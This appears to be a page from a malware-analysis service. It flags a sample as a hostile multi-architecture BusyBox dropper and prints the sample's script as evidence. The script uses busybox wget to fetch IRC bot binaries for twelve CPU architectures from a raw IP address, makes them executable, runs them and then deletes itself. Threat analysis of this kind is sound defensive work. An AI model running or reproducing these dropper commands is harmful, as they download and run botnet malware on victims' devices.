Hostile 100% Download

d4479c6a8ad5c5b8127731e15e8382fd8488f3cb76eeb8de7f4f1d5aac4d68f8.unknown

Multi-arch C2 dropper self-deletes

Multi-architecture protocol fallback executionRaw-IP BusyBox multi-architecture dropper
SHA-256d4479c6a8ad5c5b8127731e15e8382fd8488f3cb76eeb8de7f4f1d5aac4d68f8
MaleculeO₂(C₃Er)H₄(Cm₇F₂Os₂Po₂)Md(Ar)

Evidence

Text contains raw external-IP HTTP URL lines 1–14
1busybox wget http://45.90.160.182/shitnet/irc.arm; chmod 777 irc.arm; ./irc.arm android
2busybox wget http://45.90.160.182/shitnet/irc.arm5; chmod 777 irc.arm5; ./irc.arm5 android
3busybox wget http://45.90.160.182/shitnet/irc.arm6; chmod 777 irc.arm6; ./irc.arm6 android
4busybox wget http://45.90.160.182/shitnet/irc.arm7; chmod 777 irc.arm7; ./irc.arm7 android
5busybox wget http://45.90.160.182/shitnet/irc.m68k; chmod 777 irc.m68k; ./irc.m68k android
6busybox wget http://45.90.160.182/shitnet/irc.mips; chmod 777 irc.mips; ./irc.mips android
7busybox wget http://45.90.160.182/shitnet/irc.mpsl; chmod 777 irc.mpsl; ./irc.mpsl android
8busybox wget http://45.90.160.182/shitnet/irc.ppc; chmod 777 irc.ppc; ./irc.ppc android
9busybox wget http://45.90.160.182/shitnet/irc.sh4; chmod 777 irc.sh4; ./irc.sh4 android
10busybox wget http://45.90.160.182/shitnet/irc.spc; chmod 777 irc.spc; ./irc.spc android
11busybox wget http://45.90.160.182/shitnet/irc.arc; chmod 777 irc.arc; ./irc.arc android
12busybox wget http://45.90.160.182/shitnet/irc.x86; chmod 777 irc.x86; ./irc.x86 android
13
14rm $0

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.